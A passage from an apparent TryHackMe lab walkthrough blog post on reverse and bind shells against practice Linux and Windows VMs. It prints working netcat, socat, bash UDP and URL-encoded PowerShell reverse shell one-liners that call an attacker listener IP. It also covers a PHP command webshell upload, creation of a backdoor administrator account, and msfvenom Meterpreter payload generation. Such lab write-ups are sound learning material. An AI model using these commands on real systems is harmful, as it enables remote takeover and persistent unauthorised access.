pipe.</em></p><p><em>The output of the netcat listener (i.e. the commands we send) then gets piped directly into </em><em>sh, sending the stderr output stream into stdout with 2&gt;&amp;1, and sending stdout itself into the input of the named pipe, thus completing the circle.</em></p><p><strong>Netcat Reverse Shell</strong></p><p>I proceeded to experiment with the reverse netcat shell technique</p><p>First, I started a listener on the attacker terminal to list to an open port, in this case, 443.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*tEoSUVBaEYUdACoO8sYp5A.png" /></figure><p>Next, I entered and submitted the following command below on the target Linux server while logged in as the user <strong>shell </strong>with my AttackBox’s IP address and the port number where I am listening for connections.</p><blockquote>mkfifo /tmp/f; nc 10.10.27.30 443 &lt; /tmp/f | /bin/sh &gt; /tmp/f 2&gt;&amp;1; rm /tmp/f</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*3NITO4M2grD94uyL6qfc2Q.png" /></figure><p>Once entered, I was able to get a connection received from my listener connection on my machine by the reverse shell netcat technique.</p><p>Fourth Question</p><p><strong>Practice reverse and bind shells using Socat on the Linux machine. Try both the normal and special techniques.</strong></p><p>This question is asking to look at the example commands and steps on task 6 and 7 needed to activate shells using Socat the normal way and with an encrypted connection.</p><p><strong>Socat Reverse Shell</strong></p><p>On my AttackBox terminal acting as the attacker, I started running my listener with port 64.</p><blockquote>socat TCP-L:64 -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*p4TZ3n9wlZcy9a02F7_g9g.png" /></figure><p>Next, while logged in to the target server, I proceeded to run the following command with the IP Address and port my listener is on</p><blockquote>socat TCP:10.10.79.182:64 EXEC:”bash -li”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*-IHEr8IhxlOWngfFbPkRwg.png" /></figure><p>Once I entered the command on the target, I went back to the terminal with my listener connection and started typing some commands to see what output I would get. I was able to confirm access to the remote server and my reverse shell worked by running <em>whoami</em> to display the shell user of the target server and navigated the directories and listed the files as in the screenshot below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*UySxKhO9EY2oY8INkt-8pA.png" /></figure><p><strong>Socat Bind Shell</strong></p><p>While logged in to the shell user of the target server, I proceeded to use the following command with the port number as 1026 to start the listener</p><blockquote>socat TCP-L:1026 EXEC:”bash -li”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*2ass3Cf7H5yO-gCoat-wxg.png" /></figure><p>Back on a terminal connected to my AttackBox, I proceeded to use following command to connect to the waiting listener started on the target server:</p><blockquote>socat TCP:10.10.110.166:1026 -</blockquote><p>Once entered, I proceeded to test commands on my command line for the AttackBox and was able to confirm I was the shell user on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*5O5A150i_Fdfvemfa1rsAQ.png" /></figure><p><strong>Perquisite for Socat encrypted shells</strong></p><p>The first thing I needed to do is to generate a certificate to use to be able to use encryption.</p><p>I began with enter the following command to create a 2048 bit RSA key with a matching cert file that is self-signed and valid for 362 days.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*7HiqaLOxXfov8Gy2bpI_gw.png" /></figure><p>In the same directory, I used the following command to merge the two files created in the above command into a single .pem file that will be used for the socat OPENSSL-LISTEN commands</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*Hg4Nj5zGH3-68v_wKYxLXA.png" /></figure><p><strong>Socat Encrypted Reverse Shell</strong></p><p>While in the same directory with my shell.pem file, I set up my listener on my AttackBox with the following command with the port value as 1026</p><blockquote>socat OPENSSL-LISTEN:1026,cert=shell.pem,verify=0 -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*dK4W0-qvMcWIqt8jG1QVtA.png" /></figure><p>Once the listener is setup, I logged into the target server like in the previous tasks and entered the following command to connect back to the waiting listener on the AttackBox.</p><blockquote>socat OPENSSL:10.10.79.182:1026,verify=0 EXEC:/bin/bash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*-DiATHK8f84uqinbBN-Onw.png" /></figure><p>Once entered, I went into the terminal window on my AttackBox with my listener and proceeded to enter commands to confirm what user I was and the present working directory, which is the shell user on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*jtW-H3BiOn6G2iGdQD3YVQ.png" /></figure><p><strong>Socat Encrypted Bind Shell</strong></p><p>Before I could use the OPENSSL-LISTEN command, I would need to have the shell.pem file I created on the target server.</p><p>I proceeded to use the following scp command to copy the shell.pem locally into the remote home directory path of the shell user on the target server using the user’s known login credentials.</p><blockquote>scp shell.pem shell@10.10.110.166:/home/shell</blockquote><p>I then logged into the target server and made sure my shell.pem file was in the intended directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*87ZIcRghCmNJ0LkezSOJAA.png" /><figcaption>Screenshot of Linux Practice VM successful login and MOTD</figcaption></figure><p>On the target server logged in as <strong>shell</strong>, I used the following command to start an OpenSSL listener on port 1026 and the EXEC:/bin/bash to be make sure the bind shell the attacker gets is bash.</p><blockquote>socat OPENSSL-LISTEN:1026,cert=shell.pem,verify=0 -</blockquote><p>Next I entered the following command to connect to the listener I started</p><blockquote>socat OPENSSL:10.10.110.166:1026,verify=0 -</blockquote><p>Once the above command is entered, I proceeded to enter some commands such as <em>whoami </em>and <em>pwd </em>to ensure I have shell access from the technique</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*3Wdai6jMt7UGMkXtO0XaOg.png" /><figcaption>Screenshot of the encrpyted Socat reverse shell being returned to AttackBox and the listener window on the right</figcaption></figure><p><strong>Look through </strong><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md"><strong>Payloads all the Things</strong></a><strong> and try some of the other reverse shell techniques. Try to analyse them and see <em>why</em> they work.</strong></p><p>For this question, it is just asking to experiment with the reverse shell techniques found on the referenced GitHub repository. This is an open-ended question so I decided to just pick one example that wasnt done and covered in the overall room.</p><p>I decided to give Bash UDP Reverse Shell technique for Linux targets a try since all the other reverse techniques done for this write-up used the TCP protocol.</p><p>I started my listener on my AttackBox by running the command below</p><blockquote>nc -u -lvp 4242</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*XdtqSScoHgHxFLm9sXUGew.png" /></figure><p>I ran the following command on the victim or target machine to match my AttackBox’s IP address and the port of the UDP listener</p><blockquote>sh -i &gt;&amp; /dev/udp/<strong>10.10.38.232</strong>/<strong>4242</strong> 0&gt;&amp;1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*ysgPQGADiI3Lyu2Y6FnAcw.png" /></figure><p>Once I entered the above command, I got a connection receieved from my AttackBox’s UDP listener and was able to get access to the Linux target server with a UDP listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*sB7hB8RDVoiRO_kpfu_IFw.png" /></figure><p>I will attempt to break down the command I used to execute on the target server.</p><blockquote>sh -i &gt;&amp; /dev/udp/<strong>10.10.38.232</strong>/<strong>4242</strong> 0&gt;&amp;1</blockquote><p>What is happening is we are opening an interactive shell , <em>sh -i ,</em>and the <em>&gt;&amp;</em> redirecting the input and output of the interactive shell to a specified IP address and port number, <em>/dev/udp/10.10.38.232/4242, </em>which in this case the IP and port number is my AttackBox’s IP address and the port I listening for connections on. Bash will attempt to open the corresponding UDP socket, where the socket is referring to the IP Address and it’s correspond port together as a combination like <em>10.10.38.232/4242 </em>or <em>10.10.38.232:4242</em></p><p>The 0&gt;&amp;1 of the command just means any input to the interactive shell will also be sent to the IP address and port number, i.e. my netcat listener on port 4242, as specified in the command.</p><p>The symbols involved deal with input/output redirection and background processing and how Bash interprets them as I would learning and trying to understand each part of the command to experiment with.</p><p>The link I found on the Unix &amp; Linux Stack Exchange post below gave me more insight on the /dev/udp/HOST/PORT syntax origin.</p><p><a href="https://unix.stackexchange.com/questions/311095/are-dev-udp-tcp-standardized-or-available-everywhere">devices — Are /dev/{udp,tcp} standardized or available everywhere? — Unix &amp; Linux Stack Exchange</a></p><p>The next set of questions below will focus on reverse and bind shells on a Windows target server that is provided in Task 15.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*SAnUtm9U4AlyK6aqT75l9w.png" /><figcaption>Screenshot of Windows practice VM used to answer the following questions</figcaption></figure><p><strong>Switch to the Windows VM. Try uploading and activating the </strong><strong>php-reverse-shell. Does this work?</strong></p><p>The next task asks us to boot up the practice windows VM and attempt to activate the php-reverse-shell webshell. I suspect this webshell execution will fail right off the bat without modifying the script further based on the Caveats section of the script by pentestmonkey in the following <a href="https://pentestmonkey.net/tools/web-shells/php-reverse-shell#:~:text=php-reverse-shell%20This%20tool%20is%20designed%20for%20those%20situations,by%20accessing%20the%20appropriate%20URL%20in%20your%20browser.">link</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*6TTW4VHVxSDv9aNJT9qJVw.png" /></figure><p>The first thing to do is to start a listener on the AttackBox to have it ready and waiting before uploading the webshell. I used netcat and set the port to 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*jzAK9ncKWI7BX11p2KVKAw.png" /></figure><p>Next, I proceeded to modify the script as I normally would on my AttackBox,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*Iq6LWPAn2fLhKhjJNi9Xog.png" /></figure><p>I navigated to the home page of the windows server IP Address on my web browser. I selected the webshell with the browse button option and selected submit to upload the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*7h7jkugoYG4hpJqbJgnmbA.png" /></figure><p>I navigated to the uploads directory on my browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*2RnnID9M078KkusOPd-VqA.png" /></figure><p>When I clicked on the hyperlink to the webshell. To start with the errors I got in the screenshot below; I got a message on my listener that the connection was received but I receive error saying that the uname argument which is set in the shell variable of the script is not recognized on the windows server we are trying to execute on. The uname command is catered towards a Unix-based or Linux server which would recognize what this command would mean overall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*7-D4MR61YlDGu2VJ1m6KHg.png" /></figure><p>Below is the code snippet in the pentest monkey php webshell of where the error in the command line is being referenced.</p><pre>$shell = &#39;uname -a; w; id; /bin/sh -i&#39;;</pre><p>Also, the browser doesn’t hang as expected and returns a list of different errors as listed below.</p><blockquote>WARNING: Failed to daemonise. This is quite common and not fatal.</blockquote><blockquote>Notice: Undefined variable: daemon in C:\xampp\htdocs\uploads\php-reverse-shell.php on line 184<br>ERROR: Shell process terminated</blockquote><p>Hence, the answer to the question is no, it does not work based on the behavior of the script and errors returned above.</p><p><strong>Upload a webshell on the Windows target and try to obtain a reverse shell using PowerShell.</strong></p><p>For this question, we are asked to upload a webshell to the Windows target server and to obtain a reverse shell using PowerShell. Task 11 gives an example that we can use for this question and I proceeded to follow along.</p><p>First, I created a new file in the Sublime Text editor and copied the following code snippet from Task 11 and saved it as a php file I named as execute_sys_cmd.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*QQWwRVE9OhT2JUgxKKU40Q.png" /></figure><p>This code snippet will take a HTTP GET parameter in the URL and execute any commands after the <em>?cmd </em>part of a website URL and display the results on the web page with the &lt;pre&gt; preformatted HTML element tag.</p><p>I proceeded to upload the PHP file on the file upload page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*TDRxz95Rg3c7DgIAiIXWUg.png" /></figure><p>Next, I tested the following URL pointing to the upload directory of the windows target server and PHP webshell uploaded and the GET parameter with the ipconfig command that is used on the windows command prompt as seen below</p><blockquote>http://10.10.63.107/uploads/execute_sys_cmd.php<strong>?cmd=ipconfig</strong></blockquote><p>I was successfully able get a response returned confirming the webshell works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*HgATRqaugu55L1O9MdJkNQ.png" /></figure><p>The next steps will be obtaining RCE and access to the Windows system on our AttackBox.</p><p>First, I started a listener on my AttackBox that will wait and listen for the target Windows server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*e6LtGpggeUIyqMVq6l9iRQ.png" /></figure><p>Second, I proceeded to craft a URL encoded PowerShell Reverse Shell that will need to be copied and pasted after the cmd argument in the URL and to set the parameters in bold text to the IP of your AttackBox and the port number where the listener is active on.</p><blockquote>powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<strong>10.10.138.230</strong>%27%2C<strong>1024</strong>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*ORTNkFUfKgD3G4vbYXNk-Q.png" /></figure><p>After I submitted the above argument in my web browser, the page started to hang, and my listener returned message saying a connection was received.</p><p>I entered a <em>whoami </em>command in the command line containing my listener got a user of <em>nt authority\system</em> returned and a PowerShell user prompt showing me the current working directory I am in as I received the reverse shell.</p><p><strong>The webserver is running with SYSTEM privileges. Create a new user and add it to the “administrators” group, then login over RDP or WinRM.</strong></p><p>After finding out who the user that I reversed shelled into from the last question.</p><p>There are two steps we need to do</p><p>First step, I proceeded to run a set of following commands to add a new user into the <strong><em>administrators</em></strong> group</p><p>by running the following commands for my dummy account and password:</p><p>net user CJTest TryH4ckM3! /add</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*sgbYfNVyjWhHpd4_rWf6BQ.png" /></figure><p>net localgroup administrators CJTest /add</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*R5TQDfw_H_VebzY-ulynFg.png" /></figure><blockquote>Note: When entering the two commands above, I would get a message saying “The command completed successfully so ensure you are getting these messages.</blockquote><p>The second step, once I completed creating my user and adding it to the administrators group. I opened a new command line terminal on my AttackBox and proceeded to attempt to login with the user credentials I used above using the following command below:</p><p>xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.63.107 /u:CJTest /p:&#39;TryH4ckM3!&#39;</p><p>Once I entered the above, I get a message on AttackBox terminal saying I am now connected to 10.10.63.107:3389 which is the target Windows server IP address and port number that is serving my RDP connection to the Server’s desktop GUI, thus completing this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*hr5dOOhHqpLO1ICj2fH7dg.png" /><figcaption>Screenshot of newly created user account RDP login command on terminal</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*YCj4HmPa6n0ZYlz5QI3xyA.png" /><figcaption>Screenshot of Windows Server GUI connected through FreeRDP</figcaption></figure><p><strong>Experiment using socat and netcat to obtain reverse and bind shells on the Windows Target.</strong></p><p><strong>Netcat Reverse Shell — Windows</strong></p><p>I started a netcat listener on AttackBox VM with <em>rlwrap </em>to stabilize the connection and give the shell to recieve more functionality as discussed previously on Task 5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*EJllYonvkL1Ps9f_U-SPow.png" /></figure><p>I logged into the target Windows server by RDP using the following <em>xfreerdp </em>credentials provided in Task 15.</p><p>Next, I opened the Windows PowerShell on the target user and used the following command to connect back to my listener and execute cmd.exe</p><p><strong>Windows Command Prompt</strong></p><blockquote>nc 10.10.38.232 443 -e “cmd.exe”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-PDwh1TbChx1X7eOPyb9w.png" /></figure><blockquote>Note: You can also execute the above command on Windows Command Prompt terminal instead of the PowerShell terminal if you would like. Both options will work</blockquote><p>After the above command is executed, I received back a reverse shell that is running with the Windows command prompt shell as cmd.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*94A9nbzb97Af9ely9EVXFg.png" /></figure><p><strong>Windows PowerShell</strong></p><p>I closed the reverse shell executed with cmd. exe with Ctrl + C and reopened the listener and executed the same command on the target to demonstrate and execute another shell option for Windows on PowerShell, powershell.exe.</p><blockquote>nc 10.10.38.232 443 -e “powershell.exe”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*RZ6deuNMBLFYwKtuHns6zw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*GyT3M0nA8ns1nmdCC-AuDA.png" /></figure><p><strong>Netcat Bind Shell — Windows</strong></p><p>I created a netcat listener on the target server using the port 1024</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*DKMHk0Qp91SpK1Ga9Wv2hg.png" /></figure><p>Next, I entered the following command on my AttackBox to activate the bind shell with the target server’s IP Address and port number of the running listener.</p><blockquote>nc -nv 10.10.224.180 1024</blockquote><p>I was got a message on my AttackBox terminal that the connection succeeded and now have a bind shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*tWD8ez09pBRGdtTbdQZH1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*3gcXobzcUYqFR2LS-OskFA.png" /></figure><p><strong>Socat Reverse Shell — Windows</strong></p><p>I started a socat listener on my AttackBox with the following command on port 443.</p><blockquote>socat TCP-L:443 -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*ebB3IuO8b4vOPqy9beNoZQ.png" /><figcaption>Screenshot of starting socat TCP listener on AttackBox</figcaption></figure><p>on a Windows terminal on the target server, I used the below command to connect back to my AttackBox by its IP Address and listening port.</p><blockquote>socat TCP:10.10.38.232:443 EXEC:cmd.exe,pipes</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*uKhdqUjP0sXrK6i6hUQ8Pw.png" /><figcaption>Screenshot of socat command on target server to connect back to my AttackBox’s listener</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*4zw5dEXy2is1m6_kjD8bmw.png" /><figcaption>Screenshot of TCP listener receiving a connection and shell</figcaption></figure><p><strong>Socat Bind Shell — Windows</strong></p><p>While logged in to the Windows target server, I started a listener using the following command in a Command Prompt window.</p><blockquote>socat TCP-L:8080 EXEC:cmd.exe,pipes</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*zyXwMg4C1Hw-geXHQ3ZqsQ.png" /><figcaption>Screenshot of running the socat listener command</figcaption></figure><p>Next on my AttackBox, I used the following command to connect to the waiting listener.</p><blockquote>socat TCP:10.10.224.180:8080 -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*vB2_eHbRS0afNqbByQnN7g.png" /><figcaption>Screenshot of connecting to the waiting listener with socat with output in Command Prompt</figcaption></figure><p><strong>Create a 64bit Windows Meterpreter shell using msfvenom and upload it to the Windows Target. Activate the shell and catch it with multi/handler. Experiment with the features of this shell.</strong></p><p>I proceeded to use the following command to craft the meterpreter shell with msfvenom. The payload below is staged payload</p><blockquote>msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=10.10.38.232 LPORT=443</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*9ahfCZeZDgwiSYOqGAKmsg.png" /><figcaption>Output of generating the 64-bit Windows Meterpreter shell with msfvenom</figcaption></figure><p>Before we upload to the windows target using the file upload feature. I needed to use the Metasploit multi/handler on our AttackBox</p><p>The steps to use the tool:</p><ol><li>Open Metasploit with msfconsole</li><li>Type use multi/handler, and press enter</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*ZYkaKMdnl4HgyKh-jN1PRg.png" /><figcaption>Screenshot of the opening msfconsole and command to use and configure the multi/handler tool.</figcaption></figure><p>I set the configured payload to match the payload type generated within msfvenom with my current AttackBox IP address as the LHOST and port I specified in the Meterpreter reverse shell payload I created in msfvenom.</p><blockquote>set PAYLOAD windows/x64/meterpreter/reverse_tcp<br>set LHOST 10.10.38.232<br>set LPORT 443</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*LwbkRuaLYXUUGT6VMxoBRg.png" /></figure><p>I entered the <em>run </em>command to start the listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*MC7k4nn_nHIzPs29qf0caA.png" /></figure><p>I uploaded the shell.exe created by msfvenom to the windows target file upload page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*-_OqcUcRNKnkKSj2E3EsDQ.png" /></figure><p>Once the .exe file has been uploaded I proceeded to access the target server by using the <em>xfreerdp </em>command provided in Task 15 so that we can access the file upload website on the browser of the target and get the shell.exe to execute and return the connection and target server access to our machine.</p><p>I opened Firefox and navigated to 10.10.224.180</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FQqiGcJZsi1h7uMj9np_hw.png" /><figcaption>Screenshot of accessing the home page or file upload page of the target Windows server</figcaption></figure><p>I went to the uploads directory and cliclickede shell.exe hyperlink to download the executable file to try to run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zp5U6QBsQ7Gg7LfKfmsp1w.png" /><figcaption>Screenshot of accessing the Uploads directory with our shell.exe file from the target windows server</figcaption></figure><p>When I tried to run the shell.exe I get the following window as precaution, I proceeded to click run to confirm running the app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*lca0Ks9IxfbvpjOMOqO_5g.png" /><figcaption>Screenshot of Windows Defender SmartScreen not being reachable and asking if we want to run the shell.exe uploaded.</figcaption></figure><p>Afterwards, the terminal of my multi/handler listener returned the following output that a Meterpreter shell session opened and now I have control of the Meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*8voeTRXZiJQxRaebYXBKGg.png" /><figcaption>Screenshot of the terminal running the multi/handler Meterpreter reverse shell listener catching the connection to the server after .exe file execution and opening a Meterpreter shell.</figcaption></figure><p>I ran the help command and proceeded to check out the possible options with the meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*sV2GiMq55PoeLdf7sdgdaA.png" /><figcaption>Screenshot showing the output of the help command while using the Meterpreter shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*1yLFqkzTS893zNVIrMyl_g.png" /><figcaption>Screenshot of dir command showing we are in the Administrator User’s downloads directory</figcaption></figure><p><strong>Create both staged and stageless meterpreter shells for either target. Upload and manually activate them, catching the shell with <em>netcat</em> — does this work?</strong></p><p>For this question, I have decided to use the windows target for answering this question and the types of payloads I will use to attempt to catch them with netcat. Part of me has a hunch that this won’t work due to how msfvenom meterpreter shell payloads only able to be caught within Metasploit or msfconsole in Task 9. But I decided to make the payloads as practice to be sure.</p><p>The meterpreter shell I created with msfvenom from the previous question will act as the staged meterpreter shell since it is already created. This is due to the payload naming convention distinction of staged payloads being denoted by another additional forward slash, which in our case is /meterpreter/. This mentioned in the msfvenom tool overview in Task 9.</p><blockquote>msfvenom -p windows/x64/<strong>meterpreter/</strong>reverse_tcp -f exe -o shell.exe LHOST=10.10.38.232 LPORT=443</blockquote><p>I proceeded to rename it from shell.exe to staged_meter_shell.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*XVBDQKcpOQFFPeeo6yj1gg.png" /><figcaption>Screenshot of the Caja file manager showing the renamed staged Meterpreter shell executable</figcaption></figure><p>Next, I crafted the payload for the 64-bit windows stageless payload which uses an underscore to denote the payload is stageless and named it stageless_meter_shell.exe,</p><blockquote>msfvenom -p windows/x64/<strong>meterpreter_</strong>reverse_tcp -f exe -o stageless_meter_shell.exe LHOST=10.10.38.232 LPORT=443</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*HixChEZdBIFVS3NonrpvnA.png" /><figcaption>Screenshot of terminal of generating the msfvenom payload</figcaption></figure><p>I started my netcat listener to listen on the open port of 443 as I specified in the two created payloads and rlwrap to stabilize netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*IGm5BdjocLbc7tll46mKBw.png" /><figcaption>Screenshot of starting the netcat listener with rlwrap to stabilize netcat</figcaption></figure><p>I started with uploading the staged and stageless Meterpreter shell on windows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*ddMPiib-qDvPRm_-9K8sDw.png" /><figcaption>Screenshot of staged Meterpreter shell upload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*vNoDXQuUTcEJR1u1_qpM_A.png" /><figcaption>Screenshot of stageless Meterpreter shell upload</figcaption></figure><p>I logged into the windows target server as done previously for the previous questions using the FreeRDP to access the desktop.</p><p>With access, I proceeded to uploads directory and began downloading and trying to run the staged_meter_shell.exe file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*bUKs9r8YzoZ5Pd6YqPiIJA.png" /><figcaption>Upload directory with the two Meterpreter payloads I uploaded</figcaption></figure><p>I got a connection received back but couldn’t get an interactive shell or any output back if the reverse shell is a success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*-oLXcGFmo69gChlPOtqPBA.png" /><figcaption>Screenshot of trying to catch staged Meterpreter shell with netcat</figcaption></figure><p>I began downloading and trying to run the stageless_meter_shell.exe file</p><p>I got a connection received confirmation, but was still not getting any response back on my netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*0eLiXKmMXYauHmgjE5mf0Q.png" /><figcaption>Screenshot of trying to catch a stageless Meterpreter shell with netcat</figcaption></figure><p>This behavior tells me that trying to catch the stageless and staged Meterpreter shells with netcat does not work.</p><h3>Task 14 and Task 15: VM practice environments</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*m5aBx7fLvEG4ajkTa6rqyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*LcLfM-pW7o1HOyeN2tzUVQ.png" /></figure><h3>Conclusion</h3><p>This is one room that was a challenge the first time and for this writeup due to no prior knowledge of what webshells are and how reverse and bind shells work and differ from each other.</p><p>It took a while to understand the implementation and concepts for the hands-on portion. I got to spend more time and get experience interacting with interacting with reverse and bind shells on a Windows server and how to use <em>freerdp </em>Linux command on my AttackBox to access a Windows server GUI using a Remote Desktop Protocol connection.</p><p>The biggest takeaways from this TryHackMe room was the following listed below:</p><ul><li>How reverse and bind shells works in the context of cybersecurity to take advantage of a web application or network server if a user account’s credentials are compromised and the system is not configured to protect against them.</li><li>How some of these techniques can and will try to circumvent defensive countermeasures such as IDS or firewalls set in place to defend a network being targeted.</li><li>I learned that the System user account on Windows is the equivalent to the root user on a Linux or Unix-based system with the highest level of privilege that can make changes and be abused and compromised if in the wrong hands.</li></ul><p>If there is any constructive feedback or suggestions on my write-up and walkthrough to improve it. I will be happy to hear them and make note of it.</p><p>Leave a clap if this post has helped you out or taught you something new.</p><p>Happy learning and thank you for checking out my walkthrough,</p><p>-Chris Fouad J.</p><h3>References</h3><p><a href="https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-a-reverse-shell-in-metasploit.html">How to use a reverse shell in Metasploit | Metasploit Documentation Penetration Testing Software, Pen Testing Security</a></p><p><a href="https://techterms.com/definition/shell">Shell Definition (techterms.com)</a></p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings (github.com)</a></p><p><a href="https://github.com/danielmiessler/SecLists">danielmiessler/SecLists: It’s a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. (github.com)</a></p><p><a href="https://tkcyber.com/2022/06/19/stabilize-a-reverse-shell/#Why-Stabilize-it">Stabilize a Reverse Shell — tkcyber</a></p><p><a href="https://www.gnu.org/software/bash/manual/bash.html#Simple-Commands">Bash Reference Manual (gnu.org)</a></p><p><a href="https://manpages.ubuntu.com/manpages/bionic/en/man1/socat.1.html">Ubuntu Manpage: socat — Multipurpose relay (SOcket CAT)</a></p><p><a href="https://linux.die.net/man/1/tty">tty(1) — Linux man page (die.net)</a></p><p><a href="https://www.webopedia.com/definitions/virtual-ethernet-veth/#:~:text=Virtual%20Ethernet%20%28vEth%29%20is%20a%20virtual%20interface%20within,based%20on%20network%20policies%20stored%20in%20the%20switch.">What Is virtual Ethernet (vEth)? | Webopedia</a></p><p><a href="https://pentestmonkey.net/tools/web-shells/php-reverse-shell">https://pentestmonkey.net/tools/web-shells/php-reverse-shell</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55b3863af0cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP 2020 Top 10 TryHackMe Write-Up Walkthrough]]></title>
            <link>https://medium.com/@cyberjab/owasp-2020-top-10-tryhackme-write-up-walkthrough-58c02af15316?source=rss-c19a6e69c664------2</link>
            <guid isPermaLink="false">https://medium.com/p/58c02af15316</guid>
            <category><![CDATA[tryhackme]]></category>
